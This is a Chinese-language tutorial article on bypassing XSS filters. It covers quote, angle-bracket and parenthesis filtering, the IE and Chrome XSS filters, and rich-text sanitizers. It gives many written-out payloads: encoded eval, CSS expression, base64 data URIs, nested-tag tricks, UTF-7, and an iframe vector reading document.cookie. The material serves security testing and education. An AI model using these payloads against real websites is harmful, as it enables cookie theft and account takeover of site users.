跨站测试与利用中的绕过技术

简介: 1.1 bypass Char 通常有安全意识的程序员往往会对输入进行一定的过滤,比较常见的是针对某一关键符号进行过滤,比如“”,这种方式很多时候是无法防止攻击的,更安全的方式是通过编程语言提供的函数在输出的时候进行过滤。

1.1 bypass Char

通常有安全意识的程序员往往会对输入进行一定的过滤,比较常见的是针对某一关键符号进行过滤,比如“<”或者“>”,这种方式很多时候是无法防止攻击的,更安全的方式是通过编程语言提供的函数在输出的时候进行过滤。

本节主要针对单字符过滤进行研究,分为引号、尖括号、括号这三个符号进行研究。

1.1.1 引号

在跨站测试中很多的vector(即攻击向量)本身是不包含引号的,例如下面的一些vector。但是在利用中经常需要使用引号,如果对引号进行了过滤,可以采取如下措施进行绕过。

?
1
2
3
4
5
vector:
<script>alert(/ourren_demo/)</script>
<iframe/onload=alert(/ourren_demo/)>
<img src=x onerror=alert(/ourren_demo/)>
<p onmouseover=alert(/ourren_demo/)>ourren_demo here.</p>

1)String.fromCharCode

fromCharCode可以对利用代码中的引号进行编码处理,但是需要利用eval函数结合进行使用,例如:

?
1
2
3
<script>alert( 'ourren_demo' )</script>
----->
<script>eval(String.fromCharCode(97,108,101,114,116,40,39,105,110,115,105,103,104,116,45,108,97,98,115,39,41))</script>

2)location.hash

将带有引号的内容放在location.hash中,其实这个也可以突破跨站长度的控制。

?
1
<script>eval(location.hash.slice(1))</script> #alert('a')

1.1.2 尖括号

通常程序员为了偷懒都只会过滤尖括号,因此尖括号在跨站过滤中遇到情况最多。一般情况下如果输入没有显示在其他标签里,那么基本上是没有办法进行攻击的,但是如果是输出到其他标签里,则可以结合上下标签进行如下测试:

1)事件函数

常用的一些事件函数有:onerror、onmouseover、onload等(同时可以关注下HTML5新标签),需要的时候可以对JavaScript的事件函数进行fuzz。

?
1
2
3
4
<img src=x onerror=alert(/ourren_demo/)>
<p onmouseover=alert(/ourren_demo/)>ourren_demo here.</p>
<frameset onload=alert(/ourren_demo/)>
<body onload=alert(/ourren_demo/)>

2)style与expression

通过标签的style样式进行跨站(测试中只有IE成功,同时还得考虑filter问题)。

?
1
<div style= "width:expression(alert('ourren_demo'));" >

3) JavaScript伪协议

JavaScript伪协议进行绕过。

?
1
<img src=javascript:alert( 'ourren_demo' )> (仅IE)

1.1.3 括号

如果测试中发现括号被过滤了,或者无法注入括号,可以进行如下测试:

1)外部文件

通过src引入外部文件,而利用代码放在外部文件中(其中外部文件的后缀可以不为js)。

?
1
2
<script src= '1.js' ></script>
<script src= '2.jpg' ></script>

2)hex、dec编码

利用十六进制与十进制进行编码。

?
1
2
<div style= "&#119&#105&#100&#116&#104&#58&#101&#120&#112&#114&#101&#115&#115&#105&#111&#110&#40&#97
&#108&#101&#114&#116&#40&#39&#120&#115&#115&#101&#114&#39&#41&#41" >xsser</div>

1.2 bypass filter

针对跨站问题日益严重,浏览器厂商从自身浏览器安全出发推出了各自的跨站过滤器。但是这类过滤器基本上只支持反射型跨站,其他类型跨站基本不受影响。

各种浏览器采用的防御机制各不相同。反射型跨站防御方面:Firefox基本没什么防御,而IE和chrome都有各自的防御机制,并且都很难绕过,这里主要总结下现有的一些可以绕过机制。

1.2.1 IE Filter

IE从IE7就支持XSS Filter,其整体架构可见参考文献1,正则匹配部分可以参见文献2。实际处理步骤可分为三步:首先对IE进行启发式过滤(heuristic filters,正则匹配);如果在HTTP请求中匹配到这些特征,那么就做一个动态签名(create dynamic signature);如果在HTTP响应中有原来的签名,那么就进行替换修改(neuter response)。在IE全补丁下进行测试,现有公布的绕过技术基本上很少,先总结如下:

1)<a href=>

针对普通的反射型跨站,可以利用A标签和“sc%0aript”实现绕过,不过需要用户交互,这里需要美工师咯。其实原理是页面输出后这两个页面属于同一域,因此不会产生过滤。如果href里面的地址是不同域就会产生过滤。

?
1
2
3
4
<a href= "xss.php?a=<sc%0aript>alert(/ourren_demo/)</script>" >
<a href= "xss.php?a=<sc%0aript>alert(/ourren_demo/)</script>" >
<div style= "position: absolute; left: 0px; top: 0px; height: 1000px; width: 1000px;
padding: 1em;background:black;text-align: center;" >click to continue </div></a>

2)utf7

通过UTF7-BOM实现注入代码,全补丁情况下只有当header里编码为utf-7才能成功,可以参考文献3。

?
1
%2BACIAPgA8-script%2BAD4-alert%28/ourren_demo/%29%2BADw-%2Fscript%2BAD4APAAi-&oe=Windows-31J

3) Flash

在 www.B.com域名下用iframe嵌入www.A.com的flash XSS文件。当受害者打开了www.B.com的域名时,我们可以成功获取其在www.A.com的cookies数据,参见文献8。

测试代码如下(IE):

?
1
2
(function(){location.href=%22javascript:'<script>alert(document.cookie)</script>'%22})()" ></iframe>

在chrome中,可能会导致浏览器崩溃,可以改用以下代码。

?
1
2
(function(){alert(document.cookie)})()" ></iframe>

1.2.2 chrome filter

chrome浏览器针对xss过滤规则跟IE有比较大的区别,不同版本的chrome测试也会不同,现有的资料可以参考文献4、5。

1)  data协议

?
1
2
3
4
5
6
7
?vuln=<a href= "javascript:alert(document.cookie);" >click</a> //会拦截
-->转换成  <a href= "javascript:void(0)" >click</a>
//bypass
?vuln=<a href= "data:text/html;
base64,PHNjcmlwdD5hbGVydCgnSGVsbG8gd29ybGQhJyk8L3NjcmlwdD4=
" >click<a>
->OK

1.3 bypass richtext

富文本常见类别有留言,日志或者邮件等。与一般的跨站相比它可以使用现有的标签进行测试分析。一般过滤机制分为两种:黑名单、白名单,这两类机制实质都是基于正则匹配进行过滤,因此在测试过程中需要对比输入和输出,然后进行针对性变化。

常见测试流程:输入常见标签和事件——>是否有存在的标签没有过滤——->变形或者分析其属性

标签:object, applet, base, link, meta, import, embed, vmlframe, iframe, script, style, isindex, form,textarea,

字符:javascript:, vbscript:

事件:onload,onerror,on*

1.3.1 绕过规则

本小节将一些常见的一些变化规则进行了归类,实际测试中结合多种方式进行组合测试。

 1)未递归过滤

很多富文本过滤都是针对关键字过滤,但是没有进行递归过滤,导致过滤后的结果重新组成新的标签,例如:

?
1
2
<ifra<iframe>me>之------过滤------<iframe>----------<iframe>
<s<script></script>cript>-----过滤---<script>----------<script></script>

2)编码

利用字符的十六进制和十进制编码进行绕过关键字。由于expression只有IE能执行,因此仅限于IE。

?
1
2
3
4
5
6
<div style= "width:expression(alert(/ourren_demo/))" >ourren_demo</div> 
<div style= "width:\0065xpression(alert(/ourren_demo/))" >ourren_demo</div>
//两次不同类型编码
<div style= "width:\0065xpressio\6e(alert(/ourren_demo/))" >ourren_demo</div> 
<div style= "&#119&#105&#100&#116&#104&#58&#101&#120&#112&#114&#101&#115&#115&#105&#111&#110
&#40&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#101&#114&#39&#41&#41" >xsser</div>

3)特殊字符

在构造的vector中可以插入tab、换行、等其他空白字符或者”/**”绕过关键字匹配,基本上也只限于IE。

?
1
2
3
<img src= "java   scr ipt:alert(/ourren_demo/)" >  两次tab,ie6
<div style= "width:exp/**
**/ression(alert(/ourren_demo/))" >ourren_demo</div>  IE

4)非常见协议

利用object标签,将date属性数据进行base64编码绕过关键数据,同时object标签也是经常被遗忘的标签。

?
1
<object data= "data:text/html;base64,PHNjcmlwdD5hbGVydCgvaW5zaWdodC1sYWJzLyk8L3NjcmlwdD4=" >

5)HTML5

利用HTML5新标签或者新属性进行绕过,相对而言这类利用要求的环境相对比较苛刻,详细见参考文献6。

新标签:<button>,<video>,<audio>,<article>,<footer>,<nav>

新属性:autocomplete, autofocus, pattern ..etc

?
1
2
<input onfocus=write(1) autofocus>
<video poster=javascript:alert(1) //></video>

6)浏览器方面

可以从浏览器解析角度进行考虑,需要浏览器解析方面进行深入分析,然后进行改进与分析,提供几个这类的vector。

// IE的注释方式

?
1
2
<!--[ if IE]><img src= # width=0 height=0 onerror=alert(/ourren_demo/)><![endif]--> 
<comment><img src= "</comment><img src=x onerror=alert(/ourren_demo/)//" >   IE

1.3.2 利用技巧

在实际利用中常常会遇到一些其它问题,比如说代码死循环,长度不够用等先将其总结如下:

       1)expression

由于expression属性比较特殊,同时只支持IE,而其执行相当于一个死循环的EVAL函数,同时style标记里不能出现”;”字符,也就是不能构造多条连接在一起的javascript,因此构造出如下语句:

?
1
2
3
4
5
6
<DIV STYLE= "xss:ex/**/pre/**/ssion(eval(xss));" xss= "var Then=new Date();Then.setTime(Then.getTime()+10*1000);
if(document.cookie.indexOf('Cookie1=') == -1){document.cookie='Cookie1=RAY;expires='+Then.toGMTString();
alert(/ourren_demo/);}" >
//设置一个COOKIE在10秒后失效,并在这条COOKIE语句中执行其他语句或函数。
也可以通过window对象来实现:
<div style= "width:expression((window.x==1)?'':(window.x=1,alert(/ourren_demo/)))" >xsser</div>

2)长度限制

这个在”突破XSS字符数量限制执行任意JS代码”一文中有详细讲解,参考文献7。当然在支持HTML5的浏览器还可以利用下本地存储。

参考文献

1.http://blogs.technet.com/b/srd/archive/2008/08/18/ie-8-xss-filter-architecture-implementation.aspx

2. Abusing Internet Explorer 8′s XSS Filters.pdf

3. http://hi.baidu.com/thanks4sec/blog/item/1b06348ae87e2cb10df4d27c.html

4. http://evilcos.me/?p=60

5. http://hi.baidu.com/rayh4c/blog/item/c3fb8d0a6bf93422b1351ddc.html

6. http://html5sec.org/

7. http://huaidan.org/pstzine/0×03/txt/PSTZine_0x03_0x04.txt

8. http://zone.wooyun.org/content/368


目录
相关文章
|
2月前
|
机器学习/深度学习 敏捷开发 人工智能
探索自动化测试的前沿技术与实践挑战
【7月更文挑战第8天】随着信息技术的飞速发展,软件测试领域正经历着前所未有的变革。自动化测试作为提升测试效率、确保软件质量的重要手段,其前沿技术与实践挑战备受关注。本文深入探讨了自动化测试的最新进展,包括人工智能在测试用例生成中的应用、持续集成/持续部署(CI/CD)流程中的自动化策略、以及云测试平台的兴起。同时,文章分析了自动化测试实施过程中遇到的主要挑战,如环境配置的复杂性、测试用例的维护问题和跨平台测试的困难,并提供了相应的解决策略。通过案例分析,展示了成功实施自动化测试的关键因素,为软件测试专业人员提供了宝贵的参考和启示。
64 2
|
1天前
|
物联网 测试技术 持续交付
软件测试的艺术与科学:探索自动化测试框架未来技术的融合与创新:探索区块链、物联网和虚拟现实的交汇点
【8月更文挑战第30天】在软件开发的海洋中,测试是确保航行安全不可或缺的灯塔。本文将带领读者揭开软件测试神秘的面纱,深入理解自动化测试框架的重要性和实现方法。通过实际案例,我们将一起探索如何构建高效、可靠的自动化测试系统,从而保障软件质量,提升开发效率。
|
9天前
|
Web App开发 JSON 测试技术
精通Postman接口测试:关联技术与自动化实践指南
这篇文章详细介绍了如何使用Postman进行接口测试,包括关联技术、自动化实践,以及如何通过环境变量和全局变量解决接口之间的关联性问题。
12 0
精通Postman接口测试:关联技术与自动化实践指南
|
30天前
|
存储 安全 测试技术
移动应用的安全测试与加固技术深度解析
【8月更文挑战第2天】随着移动互联网的发展,移动应用成为生活必需,但安全威胁也随之加剧。本文深入探讨移动应用的安全测试与加固技术,包括权限访问、数据加密、安全协议、组件安全测试及渗透测试等内容,同时覆盖源代码、运行时环境、数据传输存储及业务逻辑加固等方面,为开发者提供全面指导,以保护用户数据和企业资产安全。
60 12
|
24天前
|
机器学习/深度学习 人工智能 物联网
探索软件测试的前沿技术与未来趋势
在数字化时代的浪潮中,软件测试作为保障软件质量的重要环节,正经历着前所未有的变革。本文将深入探讨当前软件测试领域的最新技术进展,包括自动化测试、人工智能在测试中的应用、以及云测试平台的发展等。同时,文章也将对软件测试的未来发展趋势进行预测,为读者揭示一个更加智能化、高效化的软件测试新时代。
|
2月前
|
机器学习/深度学习 人工智能 算法
探索软件测试的前沿技术:AI与自动化的融合
在数字化时代的浪潮中,软件测试领域正经历着前所未有的变革。本文深入探讨了人工智能(AI)和自动化技术如何重塑软件测试的未来。通过分析最新的行业报告、案例研究和专家访谈,我们揭示了这些技术如何提升测试效率、准确性和灵活性。文章还讨论了实施这些技术的可能挑战和解决方案,为读者提供了宝贵的行业见解和实用建议。
101 6
|
2月前
|
机器学习/深度学习 人工智能 自然语言处理
探索自动化测试的前沿技术与实践
随着科技的快速发展,软件测试领域也迎来了新的变革。自动化测试作为一种提高测试效率和准确性的有效手段,正逐渐成为软件开发过程中不可或缺的一部分。本文将深入探讨自动化测试的最新技术动态,包括人工智能在测试中的应用、持续集成/持续部署(CI/CD)流程中的自动化策略,以及跨平台测试框架的创新。同时,文章还将分享一些实用的自动化测试最佳实践,帮助读者构建更加高效、可靠的自动化测试体系。让我们一起迈向自动化测试的新纪元,解锁软件质量保障的新可能。
38 2
|
2月前
|
机器学习/深度学习 人工智能 测试技术
探索自动化测试的前沿技术
本文深入探讨了自动化测试领域的最新进展,包括人工智能(AI)和机器学习(ML)在自动化测试中的应用、持续集成/持续部署(CI/CD)流程中的自动化测试策略以及云测试平台的兴起。通过分析这些技术的实际应用案例,文章旨在为读者提供对当前软件测试行业趋势的全面了解,并激发对未来可能发展方向的思考。
37 1
|
2月前
|
机器学习/深度学习 运维 算法
Doping:使用精心设计的合成数据测试和评估异常检测器的技术
在这篇文章中,我们将探讨测试和评估异常检测器的问题(这是一个众所周知的难题),并提出了一种解决方案被称为“Doping”方法。使用Doping方法,真实数据行会被(通常是)随机修改,修改的方式是确保它们在某些方面可能成为异常值,这时应该被异常检测器检测到。然后通过评估检测器检测Doping记录的效果来评估这些检测器。
30 0
|
2月前
|
机器学习/深度学习 敏捷开发 人工智能
现代软件测试技术的演进与应用
随着软件行业的快速发展,软件测试技术也在不断演进和创新。本文探讨了现代软件测试技术的最新趋势和应用,包括自动化测试、持续集成与持续交付、AI在测试中的应用等方面。通过分析这些技术的发展,我们可以更好地理解如何提高软件质量、加速交付,并提升开发团队的效率和创新能力。 【7月更文挑战第10天】
58 3

热门文章

最新文章

下一篇
云函数